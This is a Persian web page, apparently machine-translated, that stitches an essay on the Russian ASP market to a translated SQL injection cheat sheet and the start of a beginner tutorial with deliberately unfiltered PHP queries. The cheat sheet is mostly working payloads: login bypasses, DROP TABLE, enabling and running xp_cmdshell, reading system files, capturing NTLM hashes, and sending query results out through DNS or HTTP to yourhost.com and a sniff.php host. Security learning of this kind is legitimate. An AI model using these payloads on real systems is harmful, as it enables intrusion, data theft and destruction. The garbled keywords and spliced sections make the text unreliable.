برنامه نویسی کنترل ورود چگونه می توانید با استفاده از تزریق SQL دستورات را از راه دور اجرا کنید

در حال حاضر نمی توان گفت که یک بازار ASP تمام عیار در روسیه شکل گرفته است. کاربران روسی، در اکثر موارد، هنوز مفهوم ASP را برای تجارت خود مفید نمی دانند. در حال حاضر (در زمان نگارش این مقاله) بازار روسیههیچ نمونه موفقی از اجرای کامل مدل ASP در یک شرکت بزرگ وجود ندارد. در واقع، فقط میزبانی، عناصر پیاده‌سازی شده فردی از مدل ASP، شرکت‌هایی که می‌خواهند در تجارت ASP شرکت کنند و غیره وجود دارد. یعنی هنوز مدل کلاسیک ASP در روسیه پیاده‌سازی نشده است.

اکنون در بازار روسیه، مدل ASP فقط برای خدمات ایمیل شخصی (Mail.ru، Beep.ru، Freemail.ru، و غیره) و خدمات تخصصی با فناوری پیشرفته (به عنوان مثال، بنر و موتورهای جستجو، سیستم های آمار اینترنتی) قابل استفاده است. ، و غیره.) . در عین حال، اجاره خدمات پستی صرفاً به معنای ارائه یک صندوق پستی شخصی برای هر کاربر نیست. سرورهای ایمیل رایگان به طور گسترده ای در بخش شرکتی توسط مشاغل کوچک و کارآفرینان خصوصی استفاده می شود. مشتریان اصلی چنین خدماتی شرکت هایی هستند که مایل به سازماندهی یک سرویس ایمیل شرکتی (یا خودکار کردن جریان اسناد شرکتی) یا ارائه دهندگان اینترنت (به عنوان مثال، پورتال های Rambler.ru، Yandex.ru و غیره) هستند که مایل به سازماندهی یک سرویس ایمیل رایگان هستند. برای مخاطبان خود

علاقه خاصی در بین کاربران روسی به اجاره فروشگاه های الکترونیکی (ویترین در یک پلت فرم تجارت الکترونیکی) وجود دارد. و این کاملا قابل درک است. از آنجایی که هنوز نمونه‌های موفق بسیار بسیار کمی از تجارت آنلاین در روسیه وجود دارد (با وجود اظهارات پر سر و صدا تعدادی از شرکت‌ها در مورد دستاوردهای چشمگیرشان)، به نظر منطقی‌تر به نظر می‌رسد که هزینه کمتری برای اجاره یک فروشگاه الکترونیکی خرج کنیم. خرید و نگهداری آن). اگر پروژه شکست بخورد، می توان آن را به سرعت و بدون ضرر و زیان قابل توجه بسته کرد. اجاره برنامه های ERP، که در غرب گسترده است، اکنون در روسیه فقط در مرحله پروژه های آزمایشی است.

برنامه های کاربردی ارائه شده برای اجاره شامل مجموعه های اداری نسبتا ساده (مانند MS Office) و برنامه های کاربردی پیچیده تر (مانند Lotus Smart Suite) و همچنین سیستم های ERP (مانند Navision Axapta) می شود.

مشکلات و ویژگی های اصلی بازار ASP روسیه.

10.2 مشکلات در بازار روسیه.

در حال حاضر، بازار ASP روسیه حداقل چندین سال از بازار جهانی ASP عقب است. وضعیت جنینی بازار ASP روسیه به دلیل تعدادی از مشکلات موجود در آن ایجاد می شود. عمده ترین این مشکلات عبارتند از:

1. عقب ماندگی عمومی اقتصاد روسیه از اقتصاد غربی و توسعه نیافتگی زیرساخت های فنی شرکت ها. تا به حال، اکثر شرکت های روسی بر اساس زیرساخت های فنی ایجاد شده در دهه ها پیش کار می کنند. در حال حاضر، سرمایه گذاری شرکت ها در نوسازی آن هنوز ناکافی است. و در اینجا مشکل اولویت های مالی شرکت ها است، زیرا همه آنها نمی توانند بودجه لازم را برای نوسازی زیرساخت های فنی سرمایه گذاری کنند. بنابراین باید با استفاده از زیرساخت های موجود مشکلات فعلی خود را حل کنند.

2. تقاضای کم برای خدمات ASP. جمعیت و مشتریان شرکتی (در بیشتر موارد) آمادگی پرداخت هزینه خدمات ASP را ندارند. در حالی که مصرف کننده متوسط ​​روسی در حال حاضر به سادگی اولویت های خرج و حیاتی تری دارد، کاربران شرکتی هنوز خدمات ASP را جدی نمی گیرند.

3. ضعف چارچوب قانونی برای بازار الکترونیک. تا زمانی که یک بسته کامل قوانین تصویب نشود، نیازی به صحبت در مورد توسعه بازار الکترونیک (از جمله ASP) نیست.

4. بسته بودن گزارشگری مالی مشتریان شرکتی (مخصوصاً توانگرترین شرکتها).

5. مقاومت از سوی دپارتمان‌های فناوری اطلاعات (اعم از صریح و ضمنی) شرکت‌های بزرگ، که باید دوباره بر روی وظایف دیگر تمرکز کنند، کارمندان و بودجه‌های فناوری اطلاعات و غیره را کاهش دهند.

6. تعداد کمی از برنامه های کاربردی قابل استفاده در مدل ASP برای شرکت های روسی.

7. حضور تعداد نسبتاً زیادی از متخصصان فناوری اطلاعات سطح پایه و متوسط ​​با حقوق نسبتاً پایین در بازار کار روسیه. پس از بحران 1998، اکثریت قریب به اتفاق حقوق متخصصان فناوری اطلاعات در همان سطح پس از بحران باقی ماند. گاهی اوقات برای شرکت های کوچک و متوسط ​​نگهداری از خدمات IT خود ارزان تر از پرداخت هزینه خدمات ASP است (برخلاف شرکت های غربی که وضعیت دقیقا برعکس است).

برگه تقلب تزریق SQL برای شرح خلاصه ایجاد شده است ویژگی های فنی انواع مختلفآسیب پذیری های تزریق SQL این مقاله ویژگی‌های تزریق SQL را ارائه می‌کند MySQL, مایکروسافت SQLسرور, ORACLEو PostgreSQL.

0. مقدمه
در این مقاله می توانید جزئیات را پیدا کنید اطلاعات فنیدر مورد انواع مختلف تزریق SQL. می تواند هم برای متخصصان با تجربه و هم برای تازه واردان حوزه امنیت اطلاعات مفید باشد.

در حال حاضر، یادداشت فقط حاوی اطلاعاتی برای MySQL، مایکروسافت است SQL Serverو مقداری داده برای ORACLE و PostgreSQL. بخش‌ها شامل نحو تزریقی، توضیحات و مثال‌ها هستند.

نمادهای مورد استفاده:
M (MySQL)؛
S (SQL Server)؛
O (Oracle)؛
P (PostgreSQL)؛
+ (احتمالاً در پایگاه داده های دیگر)؛
* (شرایط خاص مورد نیاز است).

1. خط نظرات
نظرات معمولاً برای نادیده گرفتن بخشی از یک پرس و جو مفید هستند.
نحو:
-- (SM): جدول نمونه بردارید؛--
# (M): DROP sampletable;#
مثال:
نام کاربری: admin" --
درخواست ایجاد شده: SELECT * FROM Members WHERE username = "admin"--" AND password = "password"
این به شما امکان می دهد تا به عنوان کاربر ادمین وارد شوید و از بررسی رمز عبور عبور کنید.

2. نظرات را مسدود کنید
با کمک آنها می توانید بخشی از درخواست را نادیده بگیرید، فضاها را جایگزین کنید، لیست های سیاه را دور بزنید و نسخه پایگاه داده را تعیین کنید.
نحو:
/*نظر*/ (SM):
DROP/*comment*/sampletable
DR/**/OP/*bypass_blacklist*/sampletable
SELECT/*replace_space*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0، */ 1 FROM نام جدول
این یک نحو نظر ویژه برای MySQL است. این به شما امکان می دهد نسخه MySQL را شناسایی کنید. این نظر فقط در MySQL کار می کند
مثال ها:
شناسه: 10; اعضای TABLE را رها کنید /*
ما بقیه درخواست را نادیده می گیریم، درست مانند یک نظر خط.

شناسه: /*!32302 10*/
اگر نسخه MySQL بالاتر از 3.23.02 باشد، همان پاسخ ID=10 را دریافت خواهید کرد.

شناسه: /*!32302 1/0، */
درخواست ایجاد شده: SELECT /*!32302 1/0, */ 1 FROM tablename
اگر سرور نسخه MySQL بالاتر از 3.23.02 داشته باشد، خطای تقسیم بر 0 رخ می دهد.

3. توالی درخواست ها
به شما امکان می دهد بیش از یک درخواست را همزمان اجرا کنید. این در هر نقطه از تزریق مفید است.


سبز - پشتیبانی می شود. سیاه - پشتیبانی نمی شود. خاکستری - ناشناخته
نحو:
; (S): SELECT * FROM اعضا. اعضای DROP--
یک درخواست تمام شد، درخواست بعدی شروع شد.
مثال:
شناسه: 10; اعضای DROP --
درخواست ایجاد شده: SELECT * FROM محصولات WHERE id = 10; اعضای DROP--
این پرس و جو پس از یک پرس و جو معمولی، جدول اعضا را حذف می کند.

4. اظهارات مشروط
در صورت برآورده شدن شرایط، پاسخ درخواست را دریافت خواهیم کرد. این یکی از نکات کلیدی تزریق کور است. همچنین به بررسی دقیق موارد ساده کمک می کند.
نحو:
IF (شرط، قسمت واقعی، قسمت نادرست) (M): SELECT IF(1=1,"true", "false")
IF شرط true-part ELSE false-part (S): IF (1=1) SELECT "true" ELSE SELECT "false"
شرط IF، قسمت واقعی. ELSE false-part; ENDIF; پایان؛ (O): اگر (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); ENDIF; پایان؛
SELECT CASE WHEN شرط THEN true-part ELSE false-part END; (P): SELECT CASE WHEN (1=1) سپس "A" ELSE "B" END;
مثال:
if ((انتخاب کاربر) = "sa" OR (انتخاب کاربر) = "dbo") 1 را انتخاب کنید و 1/0 را انتخاب کنید (S)
تقسیم بر صفر خطا خواهد کرد اگر کاربر فعلینه "sa" یا "dbo".

5. استفاده از اعداد
برای دور زدن magic_quotes() و فیلترهای مشابه، از جمله WAF استفاده می شود.
نحو:
0xHEX_NUMBER (SM):
SELECT CHAR(0x66) (S)
0x5045 را انتخاب کنید (این یک عدد نیست، بلکه یک رشته است) (M)
0x50 + 0x45 را انتخاب کنید (اکنون این یک عدد است) (M)
مثال ها:
LOAD_FILE را انتخاب کنید(0x633A5C626F6F742E696E69) (M)
محتویات فایل c:\boot.ini را نشان می دهد

6. الحاق رشته
عملیات رشته می تواند به دور زدن فیلترها یا شناسایی پایگاه داده کمک کند.
نحو:
+ (S): ورود به سیستم + "-" + رمز عبور از اعضا را انتخاب کنید
|| (*MO): ورود به سیستم را انتخاب کنید || "-" || رمز عبور از اعضا
اگر MySQL در حالت ANSI اجرا شود کار می کند. در غیر این صورت MySQL آن را به عنوان نمی پذیرد عملگر منطقیو 0 را برمی گرداند. بهتر است از تابع CONCAT() در MySQL استفاده کنید.

CONCAT(str1, str2, str3,…) (M): CONCAT (ورود به سیستم، رمز عبور) را از اعضا انتخاب کنید

7. رشته های بدون نقل قول
راه های مختلفی برای جلوگیری از استفاده از نقل قول در یک پرس و جو وجود دارد، مانند استفاده از CHAR() (MS) و CONCAT() (M).
نحو:
0x457578 (M) را انتخاب کنید

MySQL یک راه ساده برای نمایش یک رشته به صورت کد هگز دارد:
CONCAT را انتخاب کنید("0x",HEX("c:\\boot.ini"))

رشته «KLM» را برمی‌گرداند:
CONCAT(CHAR(75)، CHAR(76)، CHAR(77)) (M) را انتخاب کنید
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECT CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. تبدیل رشته ها و اعداد.
نحو:
ASCII() (SMP): SELECT ASCII("a")
کد اسکی سمت چپ ترین کاراکتر را برمی گرداند. این تابع برای تزریق کور استفاده می شود.

CHAR() (SM): انتخاب CHAR(64)
یک کد اسکی را به کاراکتر مربوطه ترجمه می کند.

9. اپراتور UNION
با عملگر UNION می توانید محل تقاطع جداول را پرس و جو کنید. اساساً، شما می توانید یک پرس و جو ارسال کنید که مقداری را از جدول دیگری برمی گرداند.
مثال:
SELECT header، txt FROM news UNION ALL SELECT نام، عبور از اعضای FROM
این کار نتایج جداول اخبار و اعضا را ادغام می کند

10. دور زدن احراز هویت (SMO+)
مثال ها:
مدیر" --
مدیر" #
مدیر"/*
"یا 1=1--
"یا 1=1#
"یا 1=1/*
") یا "1"="1--
") یا ("1"="1--

11. احراز هویت MD5 را دور بزنید
اگر برنامه ابتدا نام کاربری را مقایسه کند و سپس هش md5 ​​رمز عبور را مقایسه کند، برای دور زدن احراز هویت به ترفندهای دیگری نیاز خواهید داشت. می توانید نتایج را با یک رمز عبور شناخته شده و هش آن ترکیب کنید.
مثال (MSP):
نام کاربری: ادمین
رمز عبور: 1234 "AND 1=0 UNION ALL SELECT "admin", "
= MD5 (1234)

12. بر اساس خطا
12.1 تعریف ستون ها با استفاده از HAVING BY(S)
مثال:
به همین ترتیب
" داشتن 1=1 --
" GROUP BY table.columnfromerror1 دارای 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 دارای 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfomerror3 دارای 1=1 –
…………….
آنقدر ادامه دهید تا دیگر خطاها را دریافت نکنید.

12.2 تعیین تعداد ستون ها با استفاده از ORDER BY (MSO+)
یافتن تعداد ستون ها با استفاده از ORDER BY را می توان با استفاده از تزریق UNION سرعت بخشید.
سفارش با 1--
سفارش با 2--
سفارش با 3-
………………..
ادامه دهید تا زمانی که پیام خطا دریافت کنید. این تعداد ستون ها را نشان می دهد.

13. تعریف نوع داده
همیشه از UNION با ALL استفاده کنید.
برای خلاص شدن از شر یک ورودی غیر ضروری جدول، از -1 در هر مقدار غیر موجود در ابتدای پرس و جو استفاده کنید (اگر تزریق در پارامتر WHERE باشد). این در صورتی مهم است که بتوانید هر بار فقط یک مقدار را بازیابی کنید.
از NULL در تزریق UNION به جای تلاش برای حدس زدن رشته، تاریخ، شماره و غیره استفاده کنید. اما در تزریق کورکورانه مراقب باشید، زیرا ... ممکن است خطای پایگاه داده را با خود برنامه اشتباه گرفته باشید. برخی از زبان‌ها مانند ASP.NET هنگام استفاده از مقدار NULL با خطا مواجه می‌شوند (زیرا توسعه‌دهندگان انتظار نداشتند مقدار null را در قسمت نام کاربری ببینند)
مثال ها:
" union select sum(columntofind) from users-- (S):
اگر پیغام خطا دریافت نکردید، ستون عددی است.

SELECT * از جدول 1 WHERE id = -1 UNION ALL SELECT null، null، NULL، NULL، تبدیل(تصویر،1)، null، null، تهی، NULL، NULL، NULL، NULL، NULL، NULL، NULL، NULL، NULL --
می توانید از CAST() یا CONVERT() استفاده کنید

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
اگر خطایی وجود نداشته باشد، نحو صحیح است، یعنی. MS SQL Server استفاده می شود.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
اگر خطایی وجود نداشته باشد، ستون اول یک عدد است.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 -
اگر خطایی ظاهر شد، ستون دوم یک عدد نیست.

11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
اگر خطایی وجود نداشته باشد، ستون دوم یک رشته است.
……………..

14. درج ساده (MSO+)
مثال:
"؛ درج در کاربران مقادیر(1، "hax0r"، "coolpass"، 9)/*

15. جمع آوری اطلاعات
نحو:
@@نسخه (MS)
می توانید نسخه پایگاه داده و اطلاعات دقیق تر را پیدا کنید.
مثال:
INSERT INTO اعضا (شناسه، کاربر، پاس) VALUES(1، ""+SUBSTRING(@@version,1,10) ,10)

16. درج پیچیده (S)
به شما امکان می دهد محتویات یک فایل را در جدول وارد کنید. اگر مسیر داخلی برنامه تحت وب را نمی دانید، می توانید متابیس IIS (فقط IIS 6) را بخوانید.
نحو:
فایل (%systemroot%\system32\inetsrv\MetaBase.xml)
سپس می توانید مسیرهای برنامه را در آن پیدا کنید.
مثال:
1. جدول foo ایجاد کنید (نوع رشته varchar(8000))
2. محتویات فایل ‘c:\inetpub\wwwroot\login.asp’ را در جدول foo قرار دهید
3. جدول موقت را رها کنید و برای فایل دیگری تکرار کنید.

17. BCP (S)
می نویسد فایل متنی. این نیاز به اعتبار دارد.
مثال:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS، WSH در SQL Server (S)
می توانید از اسکریپت های VBS، WSH در SQL Server استفاده کنید.
مثال:
نام کاربری:"؛ اعلان @o int exec sp_oacreate "wscript.shell"، @o out exec sp_oamethod @o، "run"، NULL، "notepad.exe" –

19. اجرای دستورات سیستم (S)
یک ترفند معروف، این ویژگی به طور پیش‌فرض در SQL Server 2005 غیرفعال است. شما به حقوق مدیر نیاز دارید.
مثال:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. جداول ویژه در SQL Server (S)
مثال ها:
پیام های خطا: master..sysmessages
سرورهای مرتبط: master..sysservers
رمز عبور SQL Server 2000: masters..sysxlogins
رمز عبور SQL Server 2005: sys.sql_logins

21. چندین روش ذخیره شده برای SQL Server (S)
نحو:
Cmd Execute (xp_cmdshell)
موارد رجیستری (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemmultistring
xp_regwrite
مدیریت خدمات (xp_servicecontrol)
رسانه ها (xp_availablemedia)
منابع ODBC (xp_enumdsn)
حالت ورود (xp_loginconfig)
ایجاد فایل های کابین (xp_makecab)
شمارش دامنه (xp_ntsec_enumdomains)
Process Killing (PID مورد نیاز) (xp_terminate_process)
افزودن رویه جدید (sp_addextendedproc)
نوشتن فایل متنی در یک UNC یا یک مسیر داخلی (sp_makewebtask)
مثال ها:
exec xp_regread HKEY_LOCAL_MACHINE، "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters"، "nullsessionshares"
exec xp_regenumvalues ​​· HKEY_LOCAL_MACHINE، "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. یادداشت های انبوه MSSQL
مثال ها:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
اعلام @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
درج tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. تزریق SQL در پرس و جوهای LIMIT (M).
مثال:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
برای دور زدن عملگر LIMIT، می توانید از UNION یا نظر استفاده کنید.

24. خاموش کردن سرور SQL (S)
مثال:
";خاموش شدن -

25. فعال کردن xp_cmdshell در SQL Server 2005
نحو:
به طور پیش فرض، xp_cmdshell و چند ویژگی بالقوه خطرناک دیگر در SQL Server 2005 غیرفعال هستند. اگر حقوق مدیریتی دارید، می توانید آنها را فعال کنید.
EXEC sp_configure "نمایش گزینه های پیشرفته"، 1
پیکربندی مجدد
EXEC sp_configure "xp_cmdshell"،1
پیکربندی مجدد

26. جستجوی ساختار پایگاه داده در SQL Server (S)
مثال ها:
انتخاب نام از sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
دریافت نام ستون ها

27. سوابق متحرک (S)
مثال ها:
... WHERE users NOT IN ("کاربر اول"، "کاربر دوم")
از WHERE با NOT IN یا NOT EXIST استفاده کنید

انتخاب 1 نام برتر از اعضای WHERE NOT EXIST (انتخاب 0 نام برتر از اعضا)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((P.name را از (SELECT (SELECT COUNT(i.id) AS رهایی از sysobjects i WHERE i.id را انتخاب کنید<=o.id)
AS x، نام از sysobjects o) به عنوان p که p.x=3) به عنوان int

p.name را انتخاب کنید (SELECT (SELECT COUNT(i.id) AS rod FROM sysobjects i WHERE xtype="U" و i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. روشی سریع برای استخراج داده ها از تزریق SQL مبتنی بر خطا در SQL Server (S)
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") AND name>@rd SELECT @rd AS rd به پایان TMP_SYS_TMP؛--

29. جستجوی ساختار پایگاه داده در MySQL (M)
مثال ها:
نام جدول را از اطلاعات_schema.tables انتخاب کنید WHERE table_schema = "نام جدول"
گرفتن جداول سفارشی

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = "tablename"
دریافت نام ستون ها

30. جستجوی ساختار پایگاه داده در اوراکل (O)
مثال ها:
SELECT * از all_tables WHERE OWNER = "DATABASE_NAME"
گرفتن جداول سفارشی

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
دریافت نام ستون ها

31. تزریقات کور
در یک برنامه با کیفیت، نمی توانید پیام های خطا را ببینید. شما نمی توانید از عملگر UNION و حملات مبتنی بر خطا استفاده کنید. برای استخراج داده ها باید از تزریق SQL کور استفاده کنید. دو نوع تزریق کور وجود دارد.
تزریق کور معمولی: شما نمی توانید نتایج درخواست ها را در صفحه مشاهده کنید، اما می توانید نتیجه را از روی پاسخ یا وضعیت HTTP تعیین کنید.
تزریق کاملا کور: هیچ تفاوتی در خروجی نخواهید دید.
در تزریق‌های کور معمولی می‌توانید از دستورات IF و WHERE استفاده کنید، در تزریق‌های کاملاً کور باید از برخی توابع انتظار و مقایسه زمان پاسخ استفاده کنید. برای انجام این کار، می توانید از WAIT FOR DELAY '0:0:10' در SQL Server، BENCHMARK() و sleep(10) در MySQL، pg_sleep(10) در PostgreSQL استفاده کنید.
مثال:
این مثال بر اساس یک عملیات واقعی تزریق کور در SQL Server است.

TRUE: SELECT ID، نام کاربری، ایمیل FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((انتخاب نام اول از sysObjects WHERE xtYpe=0x55 و نام NOT IN(انتخاب 0 نام برتر از sysObjects WHERE x55) ,1)) 0)> 78--

FALSE: SELECT ID، نام کاربری، ایمیل FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((انتخاب نام اول از sysObjects WHERE xtYpe=0x55 و نام NOT IN(انتخاب 0 نام برتر از sysObjects WHERE x55) ,1)) 0)> 103--

FALSE: SELECT ID، نام کاربری، ایمیل FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((انتخاب نام اول از sysObjects WHERE xtYpe=0x55 و نام NOT IN(انتخاب 0 نام برتر از sysObjects WHERE x55) ,1))) 0)> 89--

FALSE: SELECT ID، نام کاربری، ایمیل FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((انتخاب نام اول از sysObjects WHERE xtYpe=0x55 و نام NOT IN(انتخاب 0 نام برتر از sysObjects WHERE x55) ,1)) 0)> 83--

TRUE: SELECT ID، نام کاربری، ایمیل FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((انتخاب نام اول از sysObjects WHERE xtYpe=0x55 و نام NOT IN(انتخاب 0 نام برتر از sysObjects WHERE x55) ,1))) 0)> 79--

FALSE: SELECT ID، نام کاربری، ایمیل FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((انتخاب نام اول از sysObjects WHERE xtYpe=0x55 و نام NOT IN(انتخاب 0 نام برتر از sysObjects WHERE x55) ,1)) 0)> 80--

بر اساس دو جستار آخر، ما دقیقاً می دانیم که ارزش اولین کاراکتر در ascii - 80 است. این بدان معنی است که کاراکتر اول "P" است. به این ترتیب می توانیم نام جداول و محتویات آنها را دریابیم. راه دیگر این است که داده ها را ذره ذره بخوانیم.

32. تزریق کاملا کور
از این روش فقط در صورت تزریق واقعاً کور استفاده کنید. مراقب زمان انتظار باشید
نحو:
منتظر تاخیر "زمان" (S)
این تابع به سادگی برای زمان مشخص شده بدون بارگیری پردازنده منتظر می ماند.
مثال ها:
if (انتخاب کاربر) = "sa" منتظر تاخیر "0:0:10"
شناسه محصول = 1؛ منتظر تاخیر "0:0:10"--
شناسه محصول = 1)؛ تاخیر برای انتظار "0:0:10"--
شناسه محصول =1";منتظر تاخیر "0:0:10"--
شناسه محصول = 1")؛ تاخیر برای انتظار "0:0:10"--
شناسه محصول = 1))؛ تأخیر انتظار "0:0:10"--
شناسه محصول = 1"))؛ تاخیر منتظر "0:0:10"--
نحو:
معیار (چند بار، این کار را انجام دهید) (M)
مثال:
IF EXISTS (انتخاب * از کاربران WHERE نام کاربری = "ریشه") BENCHMARK(1000000000,MD5(1))
ما حضور کاربر ریشه را بررسی می کنیم.

IF (انتخاب * از ورود به سیستم) BENCHMARK(1000000,MD5(1))
بررسی وجود جدول در MySQL
نحو:
pg_sleep (ثانیه) (P)
برای ثانیه های ارائه شده بخوابید.

خواب (ثانیه) (M)
برای ثانیه های ارائه شده بخوابید.

bms_pipe.receive_message (O)
برای ثانیه های ارائه شده بخوابید.
مثال:
(انتخاب مورد WHEN (NVL(ASCII(SUBSTR((((INJECTION)),1,1)),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz" )1) END FROM dual)
(تزریق) - درخواست شما.
اگر شرط درست باشد، پاسخ 10 ثانیه خواهد بود. در غیر این صورت پاسخ 1 ثانیه خواهد بود.

33. ویژگی های مفید MySQL
نحو:
MD5()
SHA1()
کلمه عبور()
ENCODE()
فشرده کردن()
شمارش ردیف()
SCHEMA()
VERSION()

34. مرتبه دوم تزریق SQL
به طور معمول، شما یک پرس و جو تزریق SQL را در یک فیلد وارد می کنید و انتظار دارید که فیلتر نشود.
مثال:
نام: " + (انتخاب 1 رمز عبور برتر از کاربران) + "
پست الکترونیک: [ایمیل محافظت شده]
اگر برنامه از نام فیلد رویه یا تابع ذخیره شده استفاده می کند، می توانید از آن برای تزریق استفاده کنید.

35. استفاده از SQL Server برای استخراج هش های NTLM
این حمله به شما کمک می کند تا در صورت عدم دسترسی از خارج، رمز عبور کاربر ویندوز سرور مورد نظر را از طریق SQL Server به دست آورید. ما می توانیم SQL Server را مجبور کنیم از طریق یک مسیر UNC به ویندوز متصل شود و جلسه NTLM را با استفاده از ابزارهای خاصی مانند Cain & Abel استخراج کنیم.

نحو:
مسیر UNC: "\\YOURIPADDRESS\C$\x.txt"
36. نمونه های دیگر از تزریق
SQL Server:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd"، "SELECT 1")

?vulnerableParam=1; اعلام @q varchar(1024); SET @q = "\\"+((INJECTION))+".yourhost.com\\test.txt"; EXEC master..xp_dirtree @q
یک پرس و جو DNS به (INJECTION).yourhost.com ایجاد می کند

(تزریق) - درخواست شما.
MySQL:
?vulnerableParam=-99 یا (انتخاب LOAD_FILE(concat("\\\\",((INJECTION))، "yourhost.com\\")))
یک درخواست NBNS/DNS به yourhost.com ایجاد می کند
?vulnerableParam=-99 یا (انتخاب ((INJECTION)) در OUTFILE "\\\\yourhost.com\\share\\output.txt")
داده ها را در فایل شما می نویسد
(تزریق) - درخواست شما.
اوراکل:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") FROM DUAL)
Sniffer نتایج را ذخیره می کند
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((((INJECTION))||".html") FROM DUAL)
نتایج در گزارش های HTTP ذخیره می شود
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") از DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||’.yourhost.com’,80) FROM DUAL)
شما باید ترافیک درخواست DNS به yourhost.com را تجزیه و تحلیل کنید
(تزریق) - درخواست شما.

این مطلب ترجمه تطبیقی ​​مقاله SQL Injection Cheat Sheet است.

با سلام خدمت خواننده اخیراً به امنیت وب علاقه مند شده ام و تا حدودی کارم به این موضوع مربوط می شود. زیرا بیشتر و بیشتر متوجه موضوعاتی در انجمن های مختلف شدم که از آنها می خواستم نشان دهند که چگونه کار می کند، بنابراین تصمیم گرفتم مقاله ای بنویسم. هدف این مقاله برای کسانی است که با این مورد مواجه نشده اند، اما مایل به یادگیری هستند. مقالات نسبتا زیادی در مورد این موضوع در اینترنت وجود دارد، اما برای مبتدیان کمی پیچیده است. من سعی خواهم کرد همه چیز را با زبانی واضح و مثال های دقیق شرح دهم.

پیشگفتار

برای درک این مقاله، واقعاً به دانش زبان SQL نیاز ندارید، اما حداقل به صبر و کمی مغز برای حفظ کردن نیاز دارید.

من معتقدم که فقط خواندن مقاله کافی نخواهد بود، زیرا ... ما به نمونه های زنده نیاز داریم - همانطور که می دانید، تمرین در فرآیند حفظ هرگز اضافی نیست. بنابراین، ما اسکریپت های آسیب پذیر را می نویسیم و روی آنها آموزش می دهیم.

تزریق SQL چیست؟
به زبان ساده، این یک حمله به پایگاه داده است که به شما امکان می دهد اقداماتی را انجام دهید که توسط سازنده اسکریپت برنامه ریزی نشده بود. مثالی از زندگی:

پدر در یادداشتی به مادرش نوشت که 100 روبل به واسیا بدهد و آن را روی میز بگذارد. با کار مجدد این به یک زبان کمیک SQL، دریافت می کنیم:
100 روبل از کیف خود بردارید و به واسیا بدهید

از آنجایی که پدر یادداشت را بد نوشت (دستخط ناشیانه) و آن را روی میز گذاشت، برادر واسیا پتیا آن را دید. پتیا که یک هکر بود، "OR Pete" را در آنجا اضافه کرد و نتیجه درخواست زیر بود:
100 روبل از کیف پول خود بردارید و به واسیا یا پتیا بدهید

مامان پس از خواندن یادداشت تصمیم گرفت که دیروز به واسیا پول داد و 100 روبل به پتیا داد. در اینجا یک مثال ساده از تزریق SQL از زندگی آورده شده است:) بدون فیلتر کردن داده ها (مامان به سختی می توانست دست خط را بفهمد)، پتیا به سود رسید.

آماده سازی
برای تمرین، به یک آرشیو با اسکریپت های منبع این مقاله نیاز دارید. آن را دانلود کرده و روی سرور باز کنید. همچنین پایگاه داده را وارد کرده و داده ها را در فایل تنظیم کنید cfg.php

جستجوی تزریق SQL

همانطور که قبلاً فهمیدید، تزریق از داده های ورودی می آید که فیلتر نشده اند. رایج ترین اشتباه فیلتر نکردن شناسه ارسال شده است. خب، به طور تقریبی، نقل قول ها را در همه زمینه ها قرار دهید. خواه یک درخواست GET/POST باشد یا حتی یک کوکی!

پارامتر ورودی عددی
برای تمرین به یک اسکریپت نیاز داریم index1.php. همانطور که در بالا گفتم، ما نقل قول ها را در شناسه خبر درج می کنیم.

زیرا درخواست ما فیلترینگ ندارد:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

